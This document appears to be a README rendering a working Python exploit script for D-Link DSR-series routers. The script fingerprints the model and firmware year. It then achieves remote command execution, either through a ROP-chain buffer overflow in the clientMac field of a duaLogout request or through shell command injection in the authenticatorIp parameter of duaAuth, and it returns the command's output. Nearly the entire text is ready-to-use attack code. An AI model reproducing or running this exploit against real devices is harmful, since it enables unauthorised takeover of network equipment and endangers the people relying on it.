README.md
Rendering markdown...
from pwn import *
from urllib import parse
import requests
import ssl
import socket
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL'
captivePortalLib = 0x405f4000
libc = 0x4017c000
gadget3 = libc + 0x00116734 # pop {r0, r1, r2, r3, pc};
gadget4 = libc + 0x000ff0e8 # mov r0, sp ; blx r3
system = libc + 0x398a0
def fingerprint():
print('[+] fingerprint')
url = root_url+'/'
s = requests.Session()
s.verify=False
r = s.get(url)
if '/scgi-bin/platform.cgi' in r.text:
url = root_url+'/scgi-bin/platform.cgi'
r = s.get(url)
if 'Copyright © ' not in r.text:
return None
if ' D-Link Corporation.' not in r.text:
return None
device = None
if 'Unified Services Router - ' in r.text:
device = r.text.split('Unified Services Router - ')[1].split('<')[0]
device = device.strip()
elif 'Product Page: ' in r.text:
device = r.text.split('Product Page: ')[1].split('<')[0]
device = device.strip()
year = r.text.split('Copyright © ')[1].split(' D-Link Corporation.')[0]
year = int(year)
print(' device: '+str(device))
print(' year : '+str(year))
return [device, year]
def get_payload(cmd):
if type(cmd) == str:
cmd = cmd.encode()
cm = b'a'*86
cm += p32(gadget3) # pop {r0, r1, r2, r3, pc};
cm += b'0000'
cm += b'1111'
cm += b'2222'
cm += p32(system)
cm += p32(gadget4)
cm += cmd+b' >/proc/`pidof cgi`/fd/1 2>/proc/`pidof cgi`/fd/1 ; #'
payload = b'{"clientMac":"'+cm+b'"}'
#print(payload)
params = b'action=duaLogout&vendor=&apMac=&clientMac=&apIp=&clientIp=&ssid=&vlan=&returnUrl=&authenticationSuccessUrl=&pageIndex=&returnLogoutUrl=&deviceType=¬ifyUrl=&sessionRandom=&hash=&authenticatorIp=&externalCpResult='+payload
return params
def get_header(host, payload):
header = b'POST /platform.cgi HTTP/1.1\r\n'
header += b'Host: ' + host.encode() + b'\r\n'
header += b'User-Agent: curl/7.68.0\r\n'
header += b'Content-Length: {content_length}\r\n'
header += b'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
header = header.replace(b'{content_length}', str(len(payload)).encode())
#print(header.decode())
return header
def get_header2(host, payload):
header = b'GET /scgi-bin/platform.cgi?'+payload+b' HTTP/1.1\r\n'
header += b'Host: ' + host.encode() + b'\r\n'
header += b'User-Agent: curl/7.68.0\r\n'
header += b'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
return header
def accessible():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
if not no_https:
s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1_2)
s.do_handshake()
s.close()
def exploit(sslv):
payload = get_payload(cmd)
header = get_header(host, payload)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
if not no_https:
s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=sslv)#ssl.PROTOCOL_SSLv23)
s.sendall(header)
s.send(payload)
res = s.recv(0x1000)
#print(res)
#print(res.decode())
s.close()
def old_exploit():
params = {'action':'duaAuth',
'vendor':'dlinkdwc',
'authenticatorIp':'; echo "\r\n">/proc/`pidof cgi`/fd/1 ; '+cmd+'>/proc/`pidof cgi`/fd/1 2>/proc/`pidof cgi`/fd/1 ; #',
'apMac':'11-22-33-44-55-66',
'clientMac':'00-22-33-33-22-11',
'apIp':'172.16.1.3',
'clientIp':'192.168.10.100',
'ssid':'dlinkGuest',
'vlan':'12',
'returnUrl':'duaAuth.cgi',
'authenticationSuccessUrl':'www.dlink.com',
'pageIndex':'1',
'returnLogoutUrl':'duaLogout.cgi',
'deviceType':'4',
'notifyUrl':'duaNotify.cgi',
'sessionRandom':'1488870579',
'hash':'7691cf9c7b5a3676f94b53146d9cc0bd4cf4518d28af7f8850c7da6375c1bd37'}
url = root_url+'/scgi-bin/platform.cgi'
s = requests.Session()
s.verify=False
r = s.get(url, params=params)
print(r.content)
print(r.content.decode())
def main():
result = fingerprint()
device = result[0]
year = result[1]
if device.startswith('DSR-150'):
print('[-] not implemented')
elif device.startswith('DSR-250'):
if year in [2020, 2021]:
exploit(ssl.PROTOCOL_TLSv1_2)
elif year < 2020 and year >= 2018:
old_exploit()
elif year == None:
print(' failed to fingerprint')
else:
print(' older version')
elif device.startswith('DSR-500'):
if year in [2020, 2021]:
print('[-] not implemented')
#exploit(ssl.PROTOCOL_TLSv1_2)
elif year < 2020 and year >= 2018:
old_exploit()
elif year == None:
print(' failed to fingerprint')
else:
print(' older version')
elif device.startswith('DSR-1000'):
if year in [2020, 2021]:
print('[-] not implemented')
#exploit(ssl.PROTOCOL_TLSv1_2)
elif year < 2020 and year >= 2018:
old_exploit()
elif year == None:
print(' failed to fingerprint')
else:
print(' older version')
else:
print('[-] unknown device')
if __name__ == '__main__':
if not (len(sys.argv) == 4 or len(sys.argv) == 5):
print("usage: <host> <port> <command> [no_https]")
exit()
host = sys.argv[1]
port = int(sys.argv[2])
cmd = sys.argv[3]
no_https = False
if len(sys.argv) == 5:
no_https = True
if no_https:
root_url = 'http://'+host+':'+str(port)
else:
root_url = 'https://'+host+':'+str(port)
main()